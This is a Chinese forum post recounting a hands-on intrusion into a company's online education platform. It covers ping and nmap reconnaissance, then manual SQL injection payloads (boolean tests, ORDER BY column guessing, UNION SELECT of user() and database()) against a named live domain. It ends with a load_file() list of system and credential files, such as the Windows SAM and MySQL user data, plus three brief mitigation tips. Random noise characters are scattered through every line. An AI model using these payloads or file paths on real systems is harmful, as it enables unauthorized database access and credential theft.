题记：- O7 Q: i( H5 p
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……4 i) j9 y6 X4 f& [- @6 {
第一步：获取需要的信息
3 r/ q) ]# a3 P$ d* u [" [由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
3 U- c5 `* \9 Y5 e, v9 x注：以下为保护特用XXX代替敏感信息' W, _. u/ ?/ B% j7 i. `$ x+ l' ^& W' J
顺手先PING了一下他们的域名：
I @) z0 G* ^% u5 \ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
* f* `" O" E2 T o: `64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
9 Z6 d8 O$ G, M2 ~6 R顺便了解一下TTL，学好基础知识才能一路顺风：
* l$ m. L1 W* o7 `TTL：(Time To Live ) 生存时间- q3 G8 e8 [9 N
指定数据包被路由器丢弃之前允许通过的网段数量。0 c$ z! j$ @3 ?
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。6 ^' o, A" U" M6 s& c
使用PING时涉及到的 ICMP 报文类型
5 X8 ?$ ^% L& W7 R8 K) B6 l; @" @2 q一个为ICMP请求回显（ICMP Echo Request）
, u" W% P+ {7 L( d& ?1 C. q c: D一个为ICMP回显应答（ICMP Echo Reply）
9 ^$ I2 L2 \/ P5 r/ b6 J0 C6 ETTL 字段值可以帮助我们识别操作系统类型。# M; E R: c" y6 c# V5 G
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
; Y8 |. t! D& Q2 F) }Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
, ?9 o) T4 y" |* f( m6 ^) Q6 ~7 ~7 T4 b; M& p微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128! j) t! p. F" ]( z8 o/ @, [6 u
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32 \% j& Z2 X0 ^* k
当然，返回的TTL值是相同的& ?& Y4 Y; N" \9 }8 ?
但有些情况下有所特殊
! _. k: k+ g* z( }% C6 dLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64; _/ d$ J& F! i3 V# y- ~: S4 U
FreeBSD 4.1, 4.0, 3.4;
3 r5 p! M. V3 R8 W3 a, gSun Solaris 2.5.1, 2.6, 2.7, 2.8;
! G3 s7 x( i; F+ E' y5 rOpenBSD 2.6, 2.7,
9 y/ k H l0 [+ vNetBSD
" b, F% C/ r& f+ uHP UX 10.20# W& z) F$ w$ m
ICMP 回显应答的 TTL 字段值为 255* a; a& w5 V. D9 E \. J5 X
Windows 95/98/98SE4 U0 Z+ a9 W1 b- t
Windows ME
0 I* c5 } l5 _ICMP 回显应答的 TTL 字段值为 32
& l. ?, D3 H; UWindows NT4 WRKS
3 g5 r2 W% l X, j4 m: XWindows NT4 Server6 h4 o0 |2 O/ B4 A! T5 |, i G
Windows 2000
- r* S- j; j/ ^+ B1 LWindows XP, i# u" F5 _" D
ICMP 回显应答的 TTL 字段值为 128
; E+ Z7 _* f) S+ W/ E0 i: I& X这样，我们就可以通过这种方法来辨别操作系统
* _& X- X( k5 I3 M; BTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的2551 c! B; _0 g) z
用NMAP扫描一下：
4 G# o+ A# I4 v) G% Znmap -sT -O XXX.XXX.XXX.XXX
1 K- ~: ~/ G% u, `如果没有装WinPcap则会弹出提示：
6 x! s* X+ m2 w, S- I/ rWARNING: Could not import all necessary WinPcap functions. You may need to upgr
3 q8 K! D* w8 K; \& {4 made to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(4 k. M$ p+ }' N% j+ g1 D3 {& D
) mode — Nmap may not function completely
/ u0 u/ F/ c; Z! ^3 `6 L yTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
( C) l5 E1 |! r; Cand iphlpapi.dll be installed. You seem to be missing one or both of these. Win2 ?9 i% B- {. R+ H4 }6 X
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an8 F0 f0 a F# b2 p) |
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v3 N6 J! d, }0 g5 V
ersions, you may be able to take iphlpapi.dll from another system and place it i- D$ j0 x4 o+ }, h
n your system32 dir (e.g. c:\windows\system32).
6 L' B/ J" |- y- e/ rQUITTING!
9 z# {$ W u9 T到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
8 ^5 h0 @2 N! E6 d, F$ z2 Z4 l安装后继续执行刚才的命令，等待扫描完毕后得到入下信息： R! w4 w/ B8 P3 Q) S' ]$ [
Interesting ports on XXX.XXX.XXX.XXX:" P/ p, J! R3 b3 J
Not shown: 986 closed ports
; K( `0 A: z2 t7 q( ~PORT STATE SERVICE
% z. K. K- }( @6 Z( F( ]/ w21/tcp open ftp1 P% z: W( M4 b: ?$ Q
22/tcp open ssh
& b* a9 Z2 M! Y" W6 q& j23/tcp open telnet
* n, Y# g% M/ T% V% M3 F80/tcp open http
" o! \+ b2 a; c- O111/tcp open rpcbind \" y- A0 a; @( R, H+ p& ]
135/tcp filtered msrpc
8 _! T5 B4 v( f8 \4 T139/tcp filtered netbios-ssn$ i4 ~- {" s0 s" X/ U5 ?
445/tcp filtered microsoft-ds' I2 t) E! D5 F' l s# B
513/tcp open login. ?' I4 v w; {! A: M
514/tcp open shell
: u4 P- V" c$ q/ B/ a593/tcp filtered http-rpc-epmap
& C3 \" Y, p1 N$ N; ]9 ^! d0 l: T1720/tcp filtered H.323/Q.9311 ~$ R/ I; u" ^( |( g
3306/tcp open mysql. J- D& c2 ^! b. P' W
4444/tcp filtered krb5245 n8 `- Q, `% ~) \
Device type: WAP' r* U8 L p- \! }
Running: Linux 2.4.X
- n* ~. M6 C( a. uOS details: DD-WRT (Linux 2.4.35s)6 V$ q. I* }) Q; W- G
Network Distance: 13 hops2 [# o, S; z6 v4 |/ Z' |3 w% e5 i8 a
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：- D$ a! c3 z5 W6 G
login as:
/ k- a, r; i! M. E vTelnet23端口也是开着的，用telnet 命令链接一下：: g4 Z& D$ s# e0 I) W2 a) A
telnet XXX.XXX.XXX.XXX
) O! Q/ y' ?0 n; E5 E0 H提示：
: t; D' M8 O% T# I4 K9 U4 VRed Hat Enterprise Linux Server release 5.2 (Tikanga)
6 F8 \# u, U' V) _+ FKernel 2.6.18-92.el5PAE on an i686- X* D2 A. F/ ^$ U& b' N3 ?4 g: f
login:% {7 G$ P1 n8 X1 r! ~2 U& j8 l
获取HTTP头信息：7 i% s) d- L: `
在本地执行如下PHP代码
& s+ Y6 j. o& k; y1 v2 o k2 |( v<?php8 |4 @: o# B( C( `1 i1 G% F
$url = ‘XXX.XXX.XXX.XXX’;
4 R. O9 ` \ U% p" lprint_r(get_headers($url));
0 k. N4 F" c; q( ]8 I: C" ]print_r(get_headers($url, 1));, m- {7 h6 e) y2 ~2 g
?>
! d" ]; \: [+ H: }: F$ _- [0 I C$ Y将以上代码保存为PHP文件，执行：# X. \/ Z0 ?2 |/ _& k; d7 S( q
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
4 q- \% s' i1 e# N& t现在可以得出结论：0 p F% s3 U1 N7 q) n
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
) _6 ^' r( D/ R4 g内核版本：Kernel 2.6.18-92.el5PAE on an i686
9 o+ Z9 M, Z. y4 `" HWEB服务器版本：nginx/0.7.61. N$ ]$ G8 y9 T$ Y6 q2 E; h, h
第二步，开始测试寻找漏洞( \& ?0 \+ q; o3 c1 {4 P
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
6 m7 R" X% y" Y/ ~1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
- o% z& R* d `* B) F2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
) W/ [+ A) {& ^7 y6 b, `/ Ghttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常) L7 B9 ]* D. S. T' D6 S
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误) m1 ]3 Q3 m: K, C& @9 D6 I' J
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续/ T T4 c. a& b( w5 b
3、手工注入：1 ^1 ~. N5 B3 j6 e
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
) L( X1 \( H3 F3.1 猜测当前表字段数, ^8 P9 T: Q/ z/ t! E9 F: w
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 103 q' g- }3 x7 D* n) [8 |6 {
此处猜测有个简单的算法，都是有技巧的吗，呵呵
1 N/ o% k3 K7 n- s4 Y0 q算法简单如下：" U! K0 W3 b1 M7 r$ I( o7 \8 p
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；$ y3 m+ ^1 v" O" M3 O2 l
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
( r! i% y/ w5 n/ ~ G9 A需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
* I1 }1 ]! W# U/ ` y/ _5 W1 I以此来判断，是否过界，配合取中算法猜出字段数。8 H9 v! J( y/ F+ R) y: Z
举例：
9 ] Z* Q, {7 S4 a k% b; V% [9 Ghttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
& `0 T$ Q; S$ chttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误5 C) X5 D5 y; o2 T! Z
此时3则为我们要找的字段数。
1 | a; i" D6 F1 B$ a- L3.2 配合union联合查询字段在页面所位置
; d1 X1 ~* |; z( h6 H我们已经知道了字段数为3，此时则可以做如下操作：* W) h/ c. [6 ^$ F
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
6 a$ W; \ O. l
O% F3 I2 s/ f( b0 D! a这样就可以测试到哪些字段在页面上有所显示了，如图：9 ~) P8 [2 Q1 \& h0 U8 B- N
& k4 b, p1 n6 B! l3.3 查敏感信息
8 k6 `4 s- V9 R# p$ \9 c2 t) g这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。0 l4 V' j% ]- D, R! X" i: G' }
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()5 M4 {- ^: d& S0 U4 D L
3.3.1 先查数据库用户、数据库名，以备后用，如图：+ b/ X& p5 q, w& X0 {# F$ G
b* {! N) b; U# {: h# k. j得到数据库用户为root、数据库名为DBxx；
! h; ^# {' j( b, \4 V! o- S2 O3.3.2 查配置文件* J1 d9 Y- _' [1 i. D
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
8 y }8 r; h Z查看文件有一定的条件限制：. d! c x, B _: |
欲读取文件必须在服务器上) u, k' i* O8 f/ H2 J6 @* n: Y
必须指定文件完整的路径
* c) q/ ]( s+ a/ Y% m. o必须有权限读取并且文件必须完全可读0 @% a. H# }' _. D, H/ _
欲读取文件必须小于 max_allowed_packet
$ \: u; o, N, D8 ~% Z+ X- aMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。) X2 A: d# m7 t4 @- x
常用的一些：! B; a c9 [& G5 Q3 H: Z q# c. ~
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件6 o2 [6 R# w O
/usr/local/apache2/conf/httpd.conf7 Y' O2 b6 I' S5 z
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置0 x( p* a, H. c$ N
/usr/local/app/php5/lib/php.ini //PHP相关设置6 ?& b. ?* |) J; O+ y7 k) U
/etc/sysconfig/iptables //从中得到防火墙规则策略/ E! E+ r, e$ M
/etc/httpd/conf/httpd.conf // apache配置文件5 s. ?6 Z k, M) E8 E+ N
/etc/rsyncd.conf //同步程序配置文件) G+ b3 K' z/ ?+ w/ ^, M6 o+ D8 R1 e& B
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.6 i- R- J+ y- ~0 T5 E* o, D
/etc/my.cnf //mysql的配置文件3 c" m7 Y7 l' g* |1 ~
/etc/redhat-release //系统版本 h( F! G* x1 a* P, a" |
/etc/issue
2 I& f" @. F" G- T) }/etc/issue.net% z2 \& F/ G% n, J
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
- Z. g0 F) d, Y0 U! `c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码: \! ^8 ]5 P. P0 T
c:\Program Files\Serv-U\ServUDaemon.ini
$ Y- o" t, E1 jc:\windows\my.ini //MYSQL配置文件
$ a1 g- s3 y5 S3 @c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
, |% |! k* L3 C8 @% z等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
0 ]' d" k+ s+ b/ |2 {' Ac:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
3 }1 v# l3 T3 I- ic:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此" h7 ~! h- v* U- x, Z& y0 ]) ]7 a
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
* Y4 c% Y7 R8 A/ F7 w' EC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件- Z* h* t1 O5 a8 R: N" }
//存储了pcAnywhere的登陆密码, E& O& @2 y: q% e+ W4 b
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。8 }# |3 ^! d1 {' j$ h% |
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
2 w, G# q& B5 ], D0 r+ O最后：防范措施1 ?% ^1 ]2 C' S, ]; M
1、修复PHP注入漏洞；% F; d9 Q8 p2 _( K
2、Mysql使用普通权限的用户；
, Z. p Q6 i0 x" N$ A" _3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对